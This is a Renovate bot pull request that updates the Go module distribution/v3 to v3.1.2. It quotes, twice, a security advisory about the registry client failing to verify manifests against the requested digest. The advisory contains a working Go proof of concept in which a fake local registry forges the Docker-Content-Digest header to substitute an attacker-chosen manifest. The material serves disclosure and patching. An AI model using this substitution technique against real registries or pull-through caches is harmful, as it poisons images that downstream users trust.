Skip to content

Renovate: Update module github.com/distribution/distribution/v3 to v3.1.2 [SECURITY] - #76

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-github.com-distribution-distribution-v3-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-github.com-distribution-distribution-v3-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 16, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
github.com/distribution/distribution/v3 v3.1.1 → v3.1.2 age adoption passing confidence

Distribution: Client manifests.Get() does not verify returned content against requested digest

CVE-2026-85747 / GHSA-685w-q87j-wqw3

More information

Details

Summary

registry/client.(*manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.

Details

Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.

Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with:

  1. Docker-Content-Digest: <requested-digest> (forged header)
  2. A body containing a different, attacker-chosen manifest

The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.

Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.

Relevant code path (repository.go, simplified):

// line ~496
func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {
    ...
    resp, err := ms.client.Get(u)
    ...
    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check
    ...
    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes
    return m, err
}
PoC

go.mod:

module poc

go 1.24.10

require (
        github.com/distribution/reference v0.6.0
        github.com/docker/distribution v2.8.3+incompatible
        github.com/opencontainers/go-digest v1.0.0
)

require (
        github.com/beorn7/perks v1.0.1 // indirect
        github.com/docker/go-metrics v0.0.1 // indirect
        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect
        github.com/golang/protobuf v1.3.2 // indirect
        github.com/gorilla/mux v1.8.1 // indirect
        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect
        github.com/opencontainers/image-spec v1.1.1 // indirect
        github.com/prometheus/client_golang v1.1.0 // indirect
        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect
        github.com/prometheus/common v0.6.0 // indirect
        github.com/prometheus/procfs v0.0.3 // indirect
        github.com/sirupsen/logrus v1.9.4 // indirect
        golang.org/x/sys v0.13.0 // indirect
)

main.go:

// PoC: registry/client manifests.Get() does not verify the requested digest
// against the returned body. A malicious registry (or MITM) can serve
// arbitrary content for a digest-pinned manifest reference and the client
// will accept it.
package main

import (
        "context"
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/distribution/reference"
        "github.com/docker/distribution/manifest/schema2"
        "github.com/docker/distribution/registry/client"
        "github.com/opencontainers/go-digest"
)

// A real, "trusted" manifest the user pinned by digest.
var trustedManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
   "layers": []
}`)

// A different, attacker-controlled manifest the malicious server returns instead.
var evilManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"},
   "layers": []
}`)

func main() {
        pinnedDigest := digest.FromBytes(trustedManifest)
        evilDigest := digest.FromBytes(evilManifest)
        fmt.Println("client requests manifest pinned at:", pinnedDigest)
        fmt.Println("server will instead return content :", evilDigest)

        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // Lie: claim the digest matches what was asked, but serve evil bytes.
                w.Header().Set("Content-Type", schema2.MediaTypeManifest)
                w.Header().Set("Docker-Content-Digest", pinnedDigest.String())
                w.WriteHeader(200)
                w.Write(evilManifest)
        }))
        defer srv.Close()

        name, _ := reference.WithName("library/alpine")
        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)
        if err != nil {
                panic(err)
        }
        ms, _ := repo.Manifests(context.Background())

        // Fetch by *digest* — caller expects content-addressed integrity.
        m, err := ms.Get(context.Background(), pinnedDigest)
        if err != nil {
                fmt.Println("Get error:", err)
                return
        }
        _, payload, _ := m.Payload()
        got := digest.FromBytes(payload)

        if got != pinnedDigest {
                fmt.Println()
                fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest")
                fmt.Println("    requested:", pinnedDigest)
                fmt.Println("    received :", got)
        } else {
                fmt.Println("OK: digest verified")
        }
}

Output (v2.8.3+incompatible):

client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

>>> BYPASS: client accepted manifest that does NOT match requested digest
    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
Impact

Any application that calls registry/client.(*manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.

An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.

Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Distribution: Client manifests.Get() does not verify returned content against requested digest

BIT-distribution-2026-85747 / CVE-2026-85747 / GHSA-685w-q87j-wqw3

More information

Details

Summary

registry/client.(*manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.

Details

Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.

Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with:

  1. Docker-Content-Digest: <requested-digest> (forged header)
  2. A body containing a different, attacker-chosen manifest

The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.

Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.

Relevant code path (repository.go, simplified):

// line ~496
func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {
    ...
    resp, err := ms.client.Get(u)
    ...
    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check
    ...
    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes
    return m, err
}
PoC

go.mod:

module poc

go 1.24.10

require (
        github.com/distribution/reference v0.6.0
        github.com/docker/distribution v2.8.3+incompatible
        github.com/opencontainers/go-digest v1.0.0
)

require (
        github.com/beorn7/perks v1.0.1 // indirect
        github.com/docker/go-metrics v0.0.1 // indirect
        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect
        github.com/golang/protobuf v1.3.2 // indirect
        github.com/gorilla/mux v1.8.1 // indirect
        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect
        github.com/opencontainers/image-spec v1.1.1 // indirect
        github.com/prometheus/client_golang v1.1.0 // indirect
        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect
        github.com/prometheus/common v0.6.0 // indirect
        github.com/prometheus/procfs v0.0.3 // indirect
        github.com/sirupsen/logrus v1.9.4 // indirect
        golang.org/x/sys v0.13.0 // indirect
)

main.go:

// PoC: registry/client manifests.Get() does not verify the requested digest
// against the returned body. A malicious registry (or MITM) can serve
// arbitrary content for a digest-pinned manifest reference and the client
// will accept it.
package main

import (
        "context"
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/distribution/reference"
        "github.com/docker/distribution/manifest/schema2"
        "github.com/docker/distribution/registry/client"
        "github.com/opencontainers/go-digest"
)

// A real, "trusted" manifest the user pinned by digest.
var trustedManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
   "layers": []
}`)

// A different, attacker-controlled manifest the malicious server returns instead.
var evilManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"},
   "layers": []
}`)

func main() {
        pinnedDigest := digest.FromBytes(trustedManifest)
        evilDigest := digest.FromBytes(evilManifest)
        fmt.Println("client requests manifest pinned at:", pinnedDigest)
        fmt.Println("server will instead return content :", evilDigest)

        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // Lie: claim the digest matches what was asked, but serve evil bytes.
                w.Header().Set("Content-Type", schema2.MediaTypeManifest)
                w.Header().Set("Docker-Content-Digest", pinnedDigest.String())
                w.WriteHeader(200)
                w.Write(evilManifest)
        }))
        defer srv.Close()

        name, _ := reference.WithName("library/alpine")
        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)
        if err != nil {
                panic(err)
        }
        ms, _ := repo.Manifests(context.Background())

        // Fetch by *digest* — caller expects content-addressed integrity.
        m, err := ms.Get(context.Background(), pinnedDigest)
        if err != nil {
                fmt.Println("Get error:", err)
                return
        }
        _, payload, _ := m.Payload()
        got := digest.FromBytes(payload)

        if got != pinnedDigest {
                fmt.Println()
                fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest")
                fmt.Println("    requested:", pinnedDigest)
                fmt.Println("    received :", got)
        } else {
                fmt.Println("OK: digest verified")
        }
}

Output (v2.8.3+incompatible):

client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

>>> BYPASS: client accepted manifest that does NOT match requested digest
    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
Impact

Any application that calls registry/client.(*manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.

An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.

Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

distribution/distribution (github.com/distribution/distribution/v3)

v3.1.2

Compare Source

Welcome to the v3.1.2 release of registry!

This is a stable release

This patch release includes security fixes, storage and pagination fixes, and dependency updates.

Please try out the release binaries and report any issues at
https://github.com/distribution/distribution/issues.

Notable Changes
  • Verify manifest and blob content against the requested digest in the registry client, protecting digest-pinned requests and pull-through caches (CVE-2026-85747 / GHSA-685w-q87j-wqw3).
  • Update security-sensitive dependencies, including gRPC, OpenTelemetry, and golang.org/x/crypto (#​4912, #​4963, #​4965, #​4968). The OTLP gRPC log exporter now honors TLS certificates configured through environment variables.
  • Fix S3 tag pagination and catalog listing when one name is a prefix of another (#​4898, #​4904), and return an empty tag array after the final pagination marker (#​4931).
  • Fix Azure blob type migration and a concurrent append-write race (#​4871, #​4888).
  • Check the storage backend directly when writing blobs to avoid stale descriptor-cache entries (#​4868).
  • Reject malformed manifest digests and out-of-order final upload chunks correctly (#​4945), accept unknown total sizes in Content-Range (#​4892), and preserve upstream error codes (#​4917).
  • Stop the upload purger during registry shutdown (#​4956).
  • Validate S3 redirect endpoints at driver initialization (#​4870).
  • Remove the logrus-logstash-hook dependency while retaining the logstash formatter option (#​4970).
Build Updates
  • Building from source now requires Go 1.26 or newer (#​4961).
  • Container images now use Alpine Linux 3.24 (#​4966).

See the changelog below for the full list of changes.

What's Changed

New Contributors

Full Changelog: distribution/distribution@v3.1.1...v3.1.2


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Oct 16, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 23 additional dependencies were updated

Details:

Package Change
golang.org/x/sync v0.22.0 -> v0.23.0
github.com/docker/go-metrics v0.0.1 -> v0.1.0
github.com/sirupsen/logrus v1.9.4 -> v1.10.2
go.opentelemetry.io/otel v1.44.0 -> v1.45.0
go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.18.0 -> v0.21.0
go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.19.0 -> v0.21.0
go.opentelemetry.io/otel/exporters/stdout/stdoutlog v0.18.0 -> v0.21.0
go.opentelemetry.io/otel/log v0.19.0 -> v0.21.0
go.opentelemetry.io/otel/metric v1.44.0 -> v1.45.0
go.opentelemetry.io/otel/sdk v1.44.0 -> v1.45.0
go.opentelemetry.io/otel/sdk/log v0.19.0 -> v0.21.0
go.opentelemetry.io/otel/sdk/metric v1.44.0 -> v1.45.0
go.opentelemetry.io/otel/trace v1.44.0 -> v1.45.0
go.opentelemetry.io/proto/otlp v1.10.0 -> v1.11.0
golang.org/x/crypto v0.55.0 -> v0.57.0
golang.org/x/mod v0.39.0 -> v0.41.0
golang.org/x/net v0.58.0 -> v0.59.0
golang.org/x/sys v0.47.0 -> v0.48.0
golang.org/x/term v0.45.0 -> v0.46.0
golang.org/x/text v0.41.0 -> v0.42.0
google.golang.org/genproto/googleapis/api v0.0.0-20260608224507-4308a22a1bab -> v0.0.0-20260803160001-6ac0973c030d
google.golang.org/genproto/googleapis/rpc v0.0.0-20260608224507-4308a22a1bab -> v0.0.0-20260803160001-6ac0973c030d
google.golang.org/grpc v1.81.1 -> v1.83.2

@renovate
renovate Bot force-pushed the renovate/go-github.com-distribution-distribution-v3-vulnerability branch from e29ee79 to 2a31e7e Compare October 20, 2026 15:56
@renovate
renovate Bot force-pushed the renovate/go-github.com-distribution-distribution-v3-vulnerability branch from 2a31e7e to 697f7d8 Compare October 23, 2026 18:27
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants